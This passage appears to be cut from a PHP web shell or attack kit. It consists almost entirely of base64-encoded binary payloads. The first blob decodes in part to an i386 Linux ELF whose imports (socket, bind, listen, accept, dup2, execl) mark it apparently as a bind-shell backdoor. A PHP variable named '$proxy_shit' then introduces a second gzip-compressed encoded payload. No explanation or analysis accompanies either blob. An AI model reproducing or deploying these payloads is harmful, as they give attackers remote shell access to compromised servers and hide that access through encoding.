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NSUMAX19maW5pX2FycmF5X2VuZABfX2ZpbmlfYXJyYXlfc3RhcnQAX19pbml0X2FycmF5X2VuZABfR0xPQkFMX09GRlNFVF9UQUJMRV8AX19pbml0X2FycmF5X3N0YXJ0AGV4ZWNsQEBHTElCQ18yLjAAY2xvc2VAQEdMSUJDXzIuMABfZnBfaHcAcGVycm9yQEBHTElCQ18yLjAAZm9ya0BAR0xJQkNfMi4wAF9fZHNvX2hhbmRsZQBfX2xpYmNfY3N1X2ZpbmkAYWNjZXB0QEBHTElCQ18yLjAAX2luaXQAbGlzdGVuQEBHTElCQ18yLjAAc2V0c29ja29wdEBAR0xJQkNfMi4wAF9zdGFydABfX2xpYmNfY3N1X2luaXQAX19ic3Nfc3RhcnQAbWFpbgBfX2xpYmNfc3RhcnRfbWFpbkBAR0xJQkNfMi4wAGR1cDJAQEdMSUJDXzIuMABkYXRhX3N0YXJ0AGJpbmRAQEdMSUJDXzIuMABfZmluaQBleGl0QEBHTElCQ18yLjAAYXRvaUBAR0xJQkNfMi4wAF9lZGF0YQBfX2k2ODYuZ2V0X3BjX3RodW5rLmJ4AF9lbmQAc2VuZEBAR0xJQkNfMi4wAGh0b25zQEBHTElCQ18yLjAAX0lPX3N0ZGluX3VzZWQAX19kYXRhX3N0YXJ0AHNvY2tldEBAR0xJQkNfMi4wAF9Kdl9SZWdpc3RlckNsYXNzZXMAX19nbW9uX3N0YXJ0X18A";$proxy_shit="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